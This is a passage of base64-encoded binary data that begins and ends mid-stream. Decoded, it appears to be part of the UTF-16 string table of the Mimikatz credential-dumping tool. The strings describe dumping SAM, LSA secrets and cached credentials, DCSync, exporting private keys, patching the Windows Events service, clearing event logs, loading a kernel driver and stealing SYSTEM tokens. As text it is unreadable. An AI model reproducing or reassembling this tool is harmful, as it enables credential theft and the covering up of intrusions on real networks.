G0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABmAHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AGUAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAZQByAHQAQQBkAGQARQBuAGMAbwBkAGUAZABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVABvAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAJQBzAF8AJQBzAF8AJQB1AF8AJQBzAC4AJQBzAAAAAABOAFQATABNADoAIAAAAAAARABDAEMAMQA6ACAAAAAAAEQAQwBDADIAOgAgAAAAAABMAE0AIAAgADoAIAAAAAAATQBEADUAIAA6ACAAAAAAAFMASABBADEAOgAgAAAAAABTAEgAQQAyADoAIAAAAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAEUAdgBlAG4AdABzACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAdgBvAGkAZAAgAG4AZQB3ACAAZQB2AGUAbgB0AHMAAABjAGwAZQBhAHIAAAAAAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAAAAAABFAHYAZQBuAHQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAAAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAAAAAAAAbABvAGcAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABDAGwAZQBhAHIARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAAABwAGkAbgBnAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAAAAAAAAQgBTAE8ARAAgACEAAAAAAHAAcgBvAGMAZQBzAHMAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAFAAcgBvAGMAZQBzAHMAUgBlAG0AbwB2AGUAAAAAAFIAZQBtAG8AdgBlACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAUgBlAG0AbwB2AGUAAAAAAAAAUgBlAG0AbwB2AGUAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAAAAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAABzAGEAbQAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABsAHMAYQAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAAAAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBBAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBZAFMAVABFAE0AAAAAAFMAQQBNAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAawBpAHcAaQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAAAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAAAAAABTAGsAZQB3ADEAAAAAAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAAAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAATABTAEEAIABLAE8ACgAAAAAAAAAAAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABWAAAAAAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABWACAASwBPAAoAAAAAAAAAAABVAHMAZQByAHMAAAAAAAAATgBhAG0AZQBzAAAAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQAgAEsATwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEEATQAg